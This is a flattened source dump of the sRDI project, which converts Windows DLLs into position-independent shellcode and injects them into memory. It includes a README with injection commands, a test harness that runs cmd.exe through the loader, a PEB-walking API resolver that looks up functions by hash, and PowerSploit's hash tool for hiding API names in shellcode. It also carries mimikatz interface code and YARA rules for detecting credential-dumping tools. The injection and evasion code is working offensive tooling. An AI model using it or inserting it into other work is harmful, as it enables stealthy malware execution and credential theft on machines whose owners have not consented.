14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Header Files
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 | Header Files
29 |
30 |
31 |
32 |
33 | Source Files
34 |
35 |
36 | Source Files
37 |
38 |
39 | Source Files
40 |
41 |
42 |
--------------------------------------------------------------------------------
/ShellcodeRDITest/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ========================================================================
2 | CONSOLE APPLICATION : ShellcodeRDITest Project Overview
3 | ========================================================================
4 |
5 | AppWizard has created this ShellcodeRDITest application for you.
6 |
7 | This file contains a summary of what you will find in each of the files that
8 | make up your ShellcodeRDITest application.
9 |
10 |
11 | ShellcodeRDITest.vcxproj
12 | This is the main project file for VC++ projects generated using an Application Wizard.
13 | It contains information about the version of Visual C++ that generated the file, and
14 | information about the platforms, configurations, and project features selected with the
15 | Application Wizard.
16 |
17 | ShellcodeRDITest.vcxproj.filters
18 | This is the filters file for VC++ projects generated using an Application Wizard.
19 | It contains information about the association between the files in your project
20 | and the filters. This association is used in the IDE to show grouping of files with
21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the
22 | "Source Files" filter).
23 |
24 | ShellcodeRDITest.cpp
25 | This is the main application source file.
26 |
27 | /////////////////////////////////////////////////////////////////////////////
28 | Other standard files:
29 |
30 | StdAfx.h, StdAfx.cpp
31 | These files are used to build a precompiled header (PCH) file
32 | named ShellcodeRDITest.pch and a precompiled types file named StdAfx.obj.
33 |
34 | /////////////////////////////////////////////////////////////////////////////
35 | Other notes:
36 |
37 | AppWizard uses "TODO:" comments to indicate parts of the source code you
38 | should add to or customize.
39 |
40 | /////////////////////////////////////////////////////////////////////////////
41 |
--------------------------------------------------------------------------------
/Python/Python.pyproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | Debug
5 | 2.0
6 | be642266-f34d-43c3-b6e4-eebf8e489519
7 |
8 |
9 |
10 |
11 |
12 |
13 | .
14 | .
15 | Python
16 | RDIShellcodePyLoader
17 |
18 |
19 | true
20 | false
21 |
22 |
23 | true
24 | false
25 |
26 |
27 | 10.0
28 |
29 |
30 |
31 |
32 | Code
33 |
34 |
35 |
36 |
37 |
38 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
--------------------------------------------------------------------------------
/ShellcodeRDITest/ShellcodeRDITest.cpp:
--------------------------------------------------------------------------------
1 | // ShellcodeRDITest.cpp : Defines the entry point for the console application.
2 | //
3 |
4 | #include "stdafx.h"
5 | #include
6 | #include
7 |
8 | extern "C" {
9 | ULONG_PTR ExecutePayload(ULONG_PTR uiLibraryAddress, DWORD dwFunctionHash, LPVOID lpUserData, DWORD nUserdataLen);
10 | }
11 |
12 | void DumpFile(LPSTR filename)
13 | {
14 | HANDLE hFile;
15 | HANDLE hFileMapping;
16 | LPVOID lpFileBase;
17 |
18 | hFile = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ, NULL,
19 | OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
20 |
21 | if (hFile == INVALID_HANDLE_VALUE)
22 | {
23 | printf("Couldn't open file with CreateFile()\n");
24 | return;
25 | }
26 |
27 | hFileMapping = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL);
28 | if (hFileMapping == 0)
29 | {
30 | CloseHandle(hFile);
31 | printf("Couldn't open file mapping with CreateFileMapping()\n");
32 | return;
33 | }
34 |
35 | lpFileBase = MapViewOfFile(hFileMapping, FILE_MAP_READ, 0, 0, 0);
36 | if (lpFileBase == 0)
37 | {
38 | CloseHandle(hFileMapping);
39 | CloseHandle(hFile);
40 | printf("Couldn't map view of file with MapViewOfFile()\n");
41 | return;
42 | }
43 |
44 | ExecutePayload((ULONG_PTR)lpFileBase, 0, NULL, 0);
45 |
46 | /*
47 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)lpFileBase;
48 | if (dosHeader->e_magic == IMAGE_DOS_SIGNATURE)
49 | {
50 | // DumpExeFile(dosHeader);
51 | }
52 | else if ((dosHeader->e_magic == 0x014C) // Does it look like a i386
53 | && (dosHeader->e_sp == 0)) // COFF OBJ file???
54 | {
55 | // The two tests above aren't what they look like. They're
56 | // really checking for IMAGE_FILE_HEADER.Machine == i386 (0x14C)
57 | // and IMAGE_FILE_HEADER.SizeOfOptionalHeader == 0;
58 | // DumpObjFile((PIMAGE_FILE_HEADER)lpFileBase);
59 | }
60 | else
61 | printf("unrecognized file format\n");
62 | */
63 |
64 | UnmapViewOfFile(lpFileBase);
65 | CloseHandle(hFileMapping);
66 | CloseHandle(hFile);
67 | }
68 |
69 | int main()
70 | {
71 | // DumpFile("c:\\mat\\bin\\hex2bin.exe");
72 | DumpFile("bin\\cmd.exe");
73 | // DumpFile("bin\\calc.exe");
74 | // DumpFile("bin\\notepad.exe");
75 | return 0;
76 | }
77 |
78 |
--------------------------------------------------------------------------------
/TestDLL/ReadMe.txt:
--------------------------------------------------------------------------------
1 | ========================================================================
2 | DYNAMIC LINK LIBRARY : TestDLL Project Overview
3 | ========================================================================
4 |
5 | AppWizard has created this TestDLL DLL for you.
6 |
7 | This file contains a summary of what you will find in each of the files that
8 | make up your TestDLL application.
9 |
10 |
11 | TestDLL.vcxproj
12 | This is the main project file for VC++ projects generated using an Application Wizard.
13 | It contains information about the version of Visual C++ that generated the file, and
14 | information about the platforms, configurations, and project features selected with the
15 | Application Wizard.
16 |
17 | TestDLL.vcxproj.filters
18 | This is the filters file for VC++ projects generated using an Application Wizard.
19 | It contains information about the association between the files in your project
20 | and the filters. This association is used in the IDE to show grouping of files with
21 | similar extensions under a specific node (for e.g. ".cpp" files are associated with the
22 | "Source Files" filter).
23 |
24 | TestDLL.cpp
25 | This is the main DLL source file.
26 |
27 | When created, this DLL does not export any symbols. As a result, it
28 | will not produce a .lib file when it is built. If you wish this project
29 | to be a project dependency of some other project, you will either need to
30 | add code to export some symbols from the DLL so that an export library
31 | will be produced, or you can set the Ignore Input Library property to Yes
32 | on the General propert page of the Linker folder in the project's Property
33 | Pages dialog box.
34 |
35 | /////////////////////////////////////////////////////////////////////////////
36 | Other standard files:
37 |
38 | StdAfx.h, StdAfx.cpp
39 | These files are used to build a precompiled header (PCH) file
40 | named TestDLL.pch and a precompiled types file named StdAfx.obj.
41 |
42 | /////////////////////////////////////////////////////////////////////////////
43 | Other notes:
44 |
45 | AppWizard uses "TODO:" comments to indicate parts of the source code you
46 | should add to or customize.
47 |
48 | /////////////////////////////////////////////////////////////////////////////
49 |
--------------------------------------------------------------------------------
/Tests/Executables/cmd-dll_v0_0_1/cmd.rbuild:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | include/reactos/wine
6 | .
7 |
8 |
9 | wine
10 | kernel32
11 | advapi32
12 | user32
13 | cmd.rc
14 | main.c
15 | precomp.h
16 |
17 | alias.c
18 | assoc.c
19 | attrib.c
20 | batch.c
21 | beep.c
22 | call.c
23 | chcp.c
24 | choice.c
25 | cls.c
26 | cmd.c
27 | cmddbg.c
28 | cmdinput.c
29 | cmdtable.c
30 | color.c
31 | console.c
32 | copy.c
33 | date.c
34 | del.c
35 | delay.c
36 | dir.c
37 | dirstack.c
38 | echo.c
39 | error.c
40 | filecomp.c
41 | for.c
42 | free.c
43 | goto.c
44 | history.c
45 | if.c
46 | internal.c
47 | label.c
48 | locale.c
49 | memory.c
50 | misc.c
51 | mklink.c
52 | move.c
53 | msgbox.c
54 | parser.c
55 | path.c
56 | pause.c
57 | prompt.c
58 | redir.c
59 | ren.c
60 | replace.c
61 | screen.c
62 | set.c
63 | setlocal.c
64 | shift.c
65 | start.c
66 | strtoclr.c
67 | time.c
68 | timer.c
69 | title.c
70 | type.c
71 | ver.c
72 | verify.c
73 | vol.c
74 | where.c
75 | window.c
76 |
77 |
78 |
79 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # sRDI - Shellcode Reflective DLL Injection
2 | sRDI allows for the conversion of DLL files to position independent shellcode.
3 |
4 | Functionality is accomplished via two components:
5 | - C project which compiles a PE loader implementation (RDI) to shellcode
6 | - Conversion code which attaches the DLL, RDI, and user data together with a bootstrap
7 |
8 | This project is comprised of the following elements:
9 | - **ShellcodeRDI:** Compiles shellcode for the DLL loader
10 | - **NativeLoader:** Converts DLL to shellcode if neccesarry, then injects into memory
11 | - **DotNetLoader:** C# implementation of NativeLoader
12 | - **Python\ConvertToShellcode.py:** Convert DLL to shellcode in place
13 | - **PowerShell\ConvertTo-Shellcode.ps1:** Convert DLL to shellcode in place
14 | - **TestDLL:** Example DLL that includes two exported functions for call on Load and after
15 |
16 | **The DLL does not need to be compiled with RDI, however the technique is cross compatiable.**
17 |
18 | ## Use Cases / Examples
19 | Before use, I recommend you become familiar with [Reflective DLL Injection](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) and it's purpose.
20 |
21 | ### Convert DLL to shellcode using python
22 | ```python
23 | from ShellcodeRDI import *
24 |
25 | dll = open("TestDLL_x86.dll", 'rb').read()
26 | shellcode = ConvertToShellcode(dll)
27 | ```
28 |
29 | ### Load DLL into memory using C# loader
30 | ```
31 | DotNetLoader.exe TestDLL_x64.dll
32 | ```
33 |
34 | ### Convert DLL with python script and load with Native EXE
35 | ```
36 | python ConvertToShellcode.py TestDLL_x64.dll
37 | NativeLoader.exe TestDLL_x64.bin
38 | ```
39 |
40 | ### Convert DLL with powershell and load with Invoke-Shellcode
41 | ```powershell
42 | Import-Module .\Invoke-Shellcode.ps1
43 | Import-Module .\ConvertTo-Shellcode.ps1
44 | Invoke-Shellcode -Shellcode (ConvertTo-Shellcode -File TestDLL_x64.dll)
45 | ```
46 |
47 | ## Building
48 | This project is built using Visual Studio 2015 (v140) and Windows SDK 8.1. The python script is written using Python 3.
49 |
50 | The Python and Powershell scripts are located at:
51 | - Python\ConvertToShellcode.py
52 | - PowerShell\ConvertTo-Shellcode.ps1
53 |
54 | After building the project, the other binaries will be located at:
55 | - bin\NativeLoader.exe
56 | - bin\DotNetLoader.exe
57 | - bin\TestDLL_.dll
58 | - bin\ShellcodeRDI_.bin
59 |
60 | ## Credits
61 | The basis of this project is derived from ["Improved Reflective DLL Injection" from Dan Staples](https://disman.tl/2015/01/30/an-improved-reflective-dll-injection-technique.html) which itself is derived from the original project by [Stephen Fewer](https://github.com/stephenfewer/ReflectiveDLLInjection).
62 |
63 | The project framework for compiling C code as shellcode is taken from [Mathew Graeber's reasearch "PIC_BindShell"](http://www.exploit-monday.com/2013/08/writing-optimized-windows-shellcode-in-c.html)
64 |
65 | The [PEFile project](https://github.com/erocarrera/pefile) is used in the python script for parsing.
66 |
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/mimicom.idl:
--------------------------------------------------------------------------------
1 | import "ms-dtyp.idl";
2 | [
3 | uuid(17FC11E9-C258-4B8D-8D07-2F4125156244),
4 | version(1.0)
5 | ]
6 | interface MimiCom
7 | {
8 | typedef [context_handle] void* MIMI_HANDLE;
9 |
10 | typedef unsigned int ALG_ID;
11 | typedef struct _MIMI_PUBLICKEY {
12 | ALG_ID sessionType;
13 | DWORD cbPublicKey;
14 | [size_is(cbPublicKey)] BYTE *pbPublicKey;
15 | } MIMI_PUBLICKEY, *PMIMI_PUBLICKEY;
16 |
17 | NTSTATUS MimiBind(
18 | [in] handle_t rpc_handle,
19 | [in, ref] PMIMI_PUBLICKEY clientPublicKey,
20 | [out, ref] PMIMI_PUBLICKEY serverPublicKey,
21 | [out, ref] MIMI_HANDLE *phMimi
22 | );
23 |
24 | NTSTATUS MiniUnbind(
25 | [in, out, ref] MIMI_HANDLE *phMimi
26 | );
27 |
28 | NTSTATUS MimiCommand(
29 | [in, ref] MIMI_HANDLE phMimi,
30 | [in] DWORD szEncCommand,
31 | [in, size_is(szEncCommand), unique] BYTE *encCommand,
32 | [out, ref] DWORD *szEncResult,
33 | [out, size_is(, *szEncResult)] BYTE **encResult
34 | );
35 |
36 | NTSTATUS MimiClear(
37 | [in] handle_t rpc_handle,
38 | [in, string] wchar_t *command,
39 | [out] DWORD *size,
40 | [out, size_is(, *size)] wchar_t **result
41 | );
42 | }
43 |
44 | // Privacy of RPC exchange can be ~guaranteed by protocol, *except when not using authentication*
45 | // mimikatz try to avoid clear credentials on the network by using basic encryption at application level.
46 | //
47 | // Diffie-Hellman key exchange
48 | // ===========================
49 | //
50 | // > Parameters used: Second Oakley Group ( https://tools.ietf.org/html/rfc2409#section-6.2 )
51 | //
52 | // * ALG_ID sessionType
53 | // session key type to use after DH exchange, it can be: CALG_CYLINK_MEK(0x660c), CALG_RC2(0x6602), CALG_RC4(0x6801), CALG_DES(0x6601), CALG_3DES_112(0x6609) or CALG_3DES(0x6603)
54 | // see: https://msdn.microsoft.com/library/windows/desktop/bb394802.aspx and https://msdn.microsoft.com/library/windows/desktop/aa375549.aspx
55 | //
56 | // * DWORD cbPublicKey
57 | // size of pbPublicKey: 144 (sizeof(PUBLICKEYSTRUC) + sizeof(DHPUBKEY) + sizeof(1024bits key)
58 | //
59 | // * BYTE *pbPublicKey
60 | // PUBLICKEYBLOB structure of the DH key ( https://msdn.microsoft.com/en-us/library/windows/desktop/aa381970(v=vs.85).aspx#code-snippet-1 )
61 | //
62 | // Example:
63 | // --------
64 | // 06 02 00 00 PUBLICKEYBLOB (06), CUR_BLOB_VERSION (02), reserved (00 00)
65 | // 02 aa 00 00 ALG_ID: CALG_DH_EPHEM(0xaa02)
66 | //
67 | // 00 44 48 31 Magic : \0DH1
68 | // 00 04 00 00 1024bits (128bytes bellow)
69 | // a9 90 e8 86 59 2d 88 a7 32 e1 05 35 26 24 d9 fd
70 | // ae f5 53 46 ca a4 79 cc a9 a3 57 45 e8 54 e7 fd
71 | // fe 99 24 df 71 6a 44 2c f7 0a 09 ac e4 e6 44 f8
72 | // 4c 51 63 c3 86 1e 14 4a 9a f0 e0 a9 e0 38 26 72
73 | // 75 27 cb 60 9f 0d 15 2c 37 39 a0 b0 72 b6 14 85
74 | // 5f 18 7f c0 0d 26 d1 3b 6f 14 c1 99 22 8f 74 ef
75 | // 68 0c 24 bb 77 ff b3 c5 9e ed ff 76 71 c1 ee ce
76 | // eb 77 46 00 52 d8 4c 5c bc af fd 28 3d 76 83 b3
77 | //
78 | // > Don't forget you may need to reverse some key bytearrays from Windows point of view, and to reset session key state between calls ;)
--------------------------------------------------------------------------------
/DotNet/DotNet.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {FD50DEE9-91AB-4449-BA55-27C71098076B}
8 | Exe
9 | Properties
10 | RDIShellcodeLoader
11 | RDIShellcodeLoader
12 | v4.5.2
13 | 512
14 | true
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | ..\x64\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 | false
26 | true
27 |
28 |
29 | AnyCPU
30 | pdbonly
31 | false
32 | ..\x64\Release\
33 | TRACE
34 | prompt
35 | 4
36 | false
37 | true
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 | copy /y $(TargetPath) $(SolutionDir)bin\DotNetLoader.exe
59 |
60 |
67 |
--------------------------------------------------------------------------------
/Tests/Executables/mimikatz_trunk/kiwi_passwords.yar:
--------------------------------------------------------------------------------
1 | /* Benjamin DELPY `gentilkiwi`
2 | http://blog.gentilkiwi.com
3 | benjamin@gentilkiwi.com
4 | Licence : https://creativecommons.org/licenses/by/4.0/
5 | */
6 | rule mimikatz
7 | {
8 | meta:
9 | description = "mimikatz"
10 | author = "Benjamin DELPY (gentilkiwi)"
11 | tool_author = "Benjamin DELPY (gentilkiwi)"
12 |
13 | strings:
14 | $exe_x86_1 = { 89 71 04 89 [0-3] 30 8d 04 bd }
15 | $exe_x86_2 = { 8b 4d e? 8b 45 f4 89 75 e? 89 01 85 ff 74 }
16 |
17 | $exe_x64_1 = { 33 ff 4? 89 37 4? 8b f3 45 85 c? 74}
18 | $exe_x64_2 = { 4c 8b df 49 [0-3] c1 e3 04 48 [0-3] 8b cb 4c 03 [0-3] d8 }
19 |
20 | $dll_1 = { c7 0? 00 00 01 00 [4-14] c7 0? 01 00 00 00 }
21 | $dll_2 = { c7 0? 10 02 00 00 ?? 89 4? }
22 |
23 | $sys_x86 = { a0 00 00 00 24 02 00 00 40 00 00 00 [0-4] b8 00 00 00 6c 02 00 00 40 00 00 00 }
24 | $sys_x64 = { 88 01 00 00 3c 04 00 00 40 00 00 00 [0-4] e8 02 00 00 f8 02 00 00 40 00 00 00 }
25 |
26 | condition:
27 | (all of ($exe_x86_*)) or (all of ($exe_x64_*)) or (all of ($dll_*)) or (any of ($sys_*))
28 | }
29 |
30 |
31 | rule mimikatz_lsass_mdmp
32 | {
33 | meta:
34 | description = "LSASS minidump file for mimikatz"
35 | author = "Benjamin DELPY (gentilkiwi)"
36 |
37 | strings:
38 | $lsass = "System32\\lsass.exe" wide nocase
39 |
40 | condition:
41 | (uint32(0) == 0x504d444d) and $lsass
42 | }
43 |
44 |
45 | rule mimikatz_kirbi_ticket
46 | {
47 | meta:
48 | description = "KiRBi ticket for mimikatz"
49 | author = "Benjamin DELPY (gentilkiwi)"
50 |
51 | strings:
52 | $asn1 = { 76 82 ?? ?? 30 82 ?? ?? a0 03 02 01 05 a1 03 02 01 16 }
53 |
54 | condition:
55 | $asn1 at 0
56 | }
57 |
58 |
59 | rule wce
60 | {
61 | meta:
62 | description = "wce"
63 | author = "Benjamin DELPY (gentilkiwi)"
64 | tool_author = "Hernan Ochoa (hernano)"
65 |
66 | strings:
67 | $hex_legacy = { 8b ff 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 [0-3] 5d c2 08 00 }
68 | $hex_x86 = { 8d 45 f0 50 8d 45 f8 50 8d 45 e8 50 6a 00 8d 45 fc 50 [0-8] 50 72 69 6d 61 72 79 00 }
69 | $hex_x64 = { ff f3 48 83 ec 30 48 8b d9 48 8d 15 [0-16] 50 72 69 6d 61 72 79 00 }
70 |
71 | condition:
72 | any of them
73 | }
74 |
75 |
76 | rule lsadump
77 | {
78 | meta:
79 | description = "LSA dump programe (bootkey/syskey) - pwdump and others"
80 | author = "Benjamin DELPY (gentilkiwi)"
81 |
82 | strings:
83 | $str_sam_inc = "\\Domains\\Account" ascii nocase
84 | $str_sam_exc = "\\Domains\\Account\\Users\\Names\\" ascii nocase
85 | $hex_api_call = {(41 b8 | 68) 00 00 00 02 [0-64] (68 | ba) ff 07 0f 00 }
86 | $str_msv_lsa = { 4c 53 41 53 52 56 2e 44 4c 4c 00 [0-32] 6d 73 76 31 5f 30 2e 64 6c 6c 00 }
87 | $hex_bkey = { 4b 53 53 4d [20-70] 05 00 01 00}
88 |
89 | condition:
90 | ($str_sam_inc and not $str_sam_exc) or $hex_api_call or $str_msv_lsa or $hex_bkey
91 | }
92 |
93 | rule power_pe_injection
94 | {
95 | meta:
96 | description = "PowerShell with PE Reflective Injection"
97 | author = "Benjamin DELPY (gentilkiwi)"
98 |
99 | strings:
100 | $str_loadlib = "0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9"
101 |
102 | condition:
103 | $str_loadlib
104 | }
--------------------------------------------------------------------------------
/ShellcodeRDI/GetProcAddressWithHash.h:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 |
4 | // This compiles to a ROR instruction
5 | // This is needed because _lrotr() is an external reference
6 | // Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
7 | #define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
8 |
9 | // Redefine PEB structures. The structure definitions in winternl.h are incomplete.
10 | typedef struct _MY_PEB_LDR_DATA {
11 | ULONG Length;
12 | BOOL Initialized;
13 | PVOID SsHandle;
14 | LIST_ENTRY InLoadOrderModuleList;
15 | LIST_ENTRY InMemoryOrderModuleList;
16 | LIST_ENTRY InInitializationOrderModuleList;
17 | } MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
18 |
19 | typedef struct _MY_LDR_DATA_TABLE_ENTRY
20 | {
21 | LIST_ENTRY InLoadOrderLinks;
22 | LIST_ENTRY InMemoryOrderLinks;
23 | LIST_ENTRY InInitializationOrderLinks;
24 | PVOID DllBase;
25 | PVOID EntryPoint;
26 | ULONG SizeOfImage;
27 | UNICODE_STRING FullDllName;
28 | UNICODE_STRING BaseDllName;
29 | } MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
30 |
31 | HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
32 | {
33 | PPEB PebAddress;
34 | PMY_PEB_LDR_DATA pLdr;
35 | PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
36 | PVOID pModuleBase;
37 | PIMAGE_NT_HEADERS pNTHeader;
38 | DWORD dwExportDirRVA;
39 | PIMAGE_EXPORT_DIRECTORY pExportDir;
40 | PLIST_ENTRY pNextModule;
41 | DWORD dwNumFunctions;
42 | USHORT usOrdinalTableIndex;
43 | PDWORD pdwFunctionNameBase;
44 | PCSTR pFunctionName;
45 | UNICODE_STRING BaseDllName;
46 | DWORD dwModuleHash;
47 | DWORD dwFunctionHash;
48 | PCSTR pTempChar;
49 | DWORD i;
50 |
51 | #if defined(_WIN64)
52 | PebAddress = (PPEB) __readgsqword( 0x60 );
53 | #elif defined(_M_ARM)
54 | // I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
55 | // necessary to get the PEB.Ldr address
56 | PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
57 | __emit( 0x00006B1B );
58 | #else
59 | PebAddress = (PPEB) __readfsdword( 0x30 );
60 | #endif
61 |
62 | pLdr = (PMY_PEB_LDR_DATA) PebAddress->Ldr;
63 | pNextModule = pLdr->InLoadOrderModuleList.Flink;
64 | pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pNextModule;
65 |
66 | while (pDataTableEntry->DllBase != NULL)
67 | {
68 | dwModuleHash = 0;
69 | pModuleBase = pDataTableEntry->DllBase;
70 | BaseDllName = pDataTableEntry->BaseDllName;
71 | pNTHeader = (PIMAGE_NT_HEADERS) ((ULONG_PTR) pModuleBase + ((PIMAGE_DOS_HEADER) pModuleBase)->e_lfanew);
72 | dwExportDirRVA = pNTHeader->OptionalHeader.DataDirectory[0].VirtualAddress;
73 |
74 | // Get the next loaded module entry
75 | pDataTableEntry = (PMY_LDR_DATA_TABLE_ENTRY) pDataTableEntry->InLoadOrderLinks.Flink;
76 |
77 | // If the current module does not export any functions, move on to the next module.
78 | if (dwExportDirRVA == 0)
79 | {
80 | continue;
81 | }
82 |
83 | // Calculate the module hash
84 | for (i = 0; i < BaseDllName.MaximumLength; i++)
85 | {
86 | pTempChar = ((PCSTR) BaseDllName.Buffer + i);
87 |
88 | dwModuleHash = ROTR32( dwModuleHash, 13 );
89 |
90 | if ( *pTempChar >= 0x61 )
91 | {
92 | dwModuleHash += *pTempChar - 0x20;
93 | }
94 | else
95 | {
96 | dwModuleHash += *pTempChar;
97 | }
98 | }
99 |
100 | pExportDir = (PIMAGE_EXPORT_DIRECTORY) ((ULONG_PTR) pModuleBase + dwExportDirRVA);
101 |
102 | dwNumFunctions = pExportDir->NumberOfNames;
103 | pdwFunctionNameBase = (PDWORD) ((PCHAR) pModuleBase + pExportDir->AddressOfNames);
104 |
105 | for (i = 0; i < dwNumFunctions; i++)
106 | {
107 | dwFunctionHash = 0;
108 | pFunctionName = (PCSTR) (*pdwFunctionNameBase + (ULONG_PTR) pModuleBase);
109 | pdwFunctionNameBase++;
110 |
111 | pTempChar = pFunctionName;
112 |
113 | do
114 | {
115 | dwFunctionHash = ROTR32( dwFunctionHash, 13 );
116 | dwFunctionHash += *pTempChar;
117 | pTempChar++;
118 | } while (*(pTempChar - 1) != 0);
119 |
120 | dwFunctionHash += dwModuleHash;
121 |
122 | if (dwFunctionHash == dwModuleFunctionHash)
123 | {
124 | usOrdinalTableIndex = *(PUSHORT)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfNameOrdinals) + (2 * i));
125 | return (HMODULE) ((ULONG_PTR) pModuleBase + *(PDWORD)(((ULONG_PTR) pModuleBase + pExportDir->AddressOfFunctions) + (4 * usOrdinalTableIndex)));
126 | }
127 | }
128 | }
129 |
130 | // All modules have been exhausted and the function was not found.
131 | return NULL;
132 | }
--------------------------------------------------------------------------------
/lib/PowerShell/Get-FunctionHash.ps1:
--------------------------------------------------------------------------------
1 | function Get-FunctionHash
2 | {
3 | <#
4 | .SYNOPSIS
5 |
6 | Outputs a module and function hash that can be passed to the
7 | GetProcAddressWithHash function.
8 |
9 | PowerSploit Function: Get-FunctionHash
10 | Author: Matthew Graeber (@mattifestation)
11 | License: BSD 3-Clause
12 | Required Dependencies: None
13 | Optional Dependencies: None
14 |
15 | .DESCRIPTION
16 |
17 | Get-FunctionHash calculates a hash that can be passed to
18 | GetProcAddressWithHash - a C function that is used to resolve Win32
19 | library functions. Passing a hash to a function address resolver
20 | prevents plaintext strings from being sent in the clear in shellcode.
21 |
22 | A python implementation of this algorithm is present in Meatsploit
23 | will perform hash collision detection.
24 |
25 | .PARAMETER Module
26 |
27 | Specifies the module to be hashed. Be sure to include the file extension.
28 | The module name will be normalized to upper case.
29 |
30 | .PARAMETER Function
31 |
32 | Specifies the function to be hashed. The function name is case-sensitive.
33 |
34 | .PARAMETER RorValue
35 |
36 | Specifies the value by which the hashing algorithm rotates right. The
37 | range of possibles values is 1-31.
38 |
39 | .EXAMPLE
40 |
41 | Get-FunctionHash kernel32.dll LoadLibraryA
42 |
43 | .OUTPUTS
44 |
45 | System.String
46 |
47 | Outputs a hexadecimal representation of the function hash.
48 |
49 | .LINK
50 |
51 | http://www.exploit-monday.com/
52 | https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/hash.py
53 | #>
54 |
55 | [CmdletBinding()] Param (
56 | [Parameter(Position = 0, Mandatory = $True)]
57 | [ValidateNotNullOrEmpty()]
58 | [String]
59 | $Module,
60 |
61 | [Parameter(Position = 1, Mandatory = $True)]
62 | [ValidateNotNullOrEmpty()]
63 | [String]
64 | $Function,
65 |
66 | [Parameter(Position = 2)]
67 | [ValidateRange(1, 31)]
68 | [String]
69 | $RorValue = 13
70 | )
71 |
72 | $MethodInfo = New-Object Reflection.Emit.DynamicMethod('Ror', [UInt32], @([UInt32], [UInt32]))
73 | $ILGen = $MethodInfo.GetILGenerator(8)
74 |
75 | # C# equivalent of: return x >> n | x << 32 - n;
76 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
77 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
78 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
79 | $ILGen.Emit([Reflection.Emit.OpCodes]::And)
80 | $ILGen.Emit([Reflection.Emit.OpCodes]::Shr_Un)
81 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
82 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 32)
83 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
84 | $ILGen.Emit([Reflection.Emit.OpCodes]::Sub)
85 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldc_I4_S, 31)
86 | $ILGen.Emit([Reflection.Emit.OpCodes]::And)
87 | $ILGen.Emit([Reflection.Emit.OpCodes]::Shl)
88 | $ILGen.Emit([Reflection.Emit.OpCodes]::Or)
89 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
90 |
91 | $Delegate = [Func``3[UInt32, UInt32, UInt32]]
92 |
93 | $Ror = $MethodInfo.CreateDelegate($Delegate)
94 |
95 | $MethodInfo = New-Object Reflection.Emit.DynamicMethod('Add', [UInt32], @([UInt32], [UInt32]))
96 | $ILGen = $MethodInfo.GetILGenerator(2)
97 |
98 | # C# equivalent of: return x + y;
99 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
100 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ldarg_1)
101 | $ILGen.Emit([Reflection.Emit.OpCodes]::Add)
102 | $ILGen.Emit([Reflection.Emit.OpCodes]::Ret)
103 |
104 | $Add = $MethodInfo.CreateDelegate($Delegate)
105 |
106 | $UnicodeEncoder = [Text.Encoding]::Unicode
107 |
108 | $Module = $Module.ToUpper()
109 | [Byte[]] $ModuleBytes = $UnicodeEncoder.GetBytes($Module) + [Byte[]] @(0, 0)
110 | $ModuleHash = [UInt32] 0
111 |
112 | # Iterate over each byte of the unicode module string including nulls
113 | for ($i = 0; $i -lt $ModuleBytes.Length; $i++)
114 | {
115 | $ModuleHash = $Ror.Invoke($ModuleHash, 13)
116 | $ModuleHash = $Add.Invoke($ModuleHash, $ModuleBytes[$i])
117 | }
118 |
119 | $AsciiEncoder = [Text.Encoding]::ASCII
120 | [Byte[]] $FunctionBytes = $AsciiEncoder.GetBytes($Function) + @([Byte] 0)
121 | $FunctionHash = [UInt32] 0
122 |
123 | # Iterate over each byte of the function string including the null terminator
124 | for ($i = 0; $i -lt $FunctionBytes.Length; $i++)
125 | {
126 | $FunctionHash = $Ror.Invoke($FunctionHash, $RorValue)
127 | $FunctionHash = $Add.Invoke($FunctionHash, $FunctionBytes[$i])
128 | }
129 |
130 | # Add the function hash to the module hash
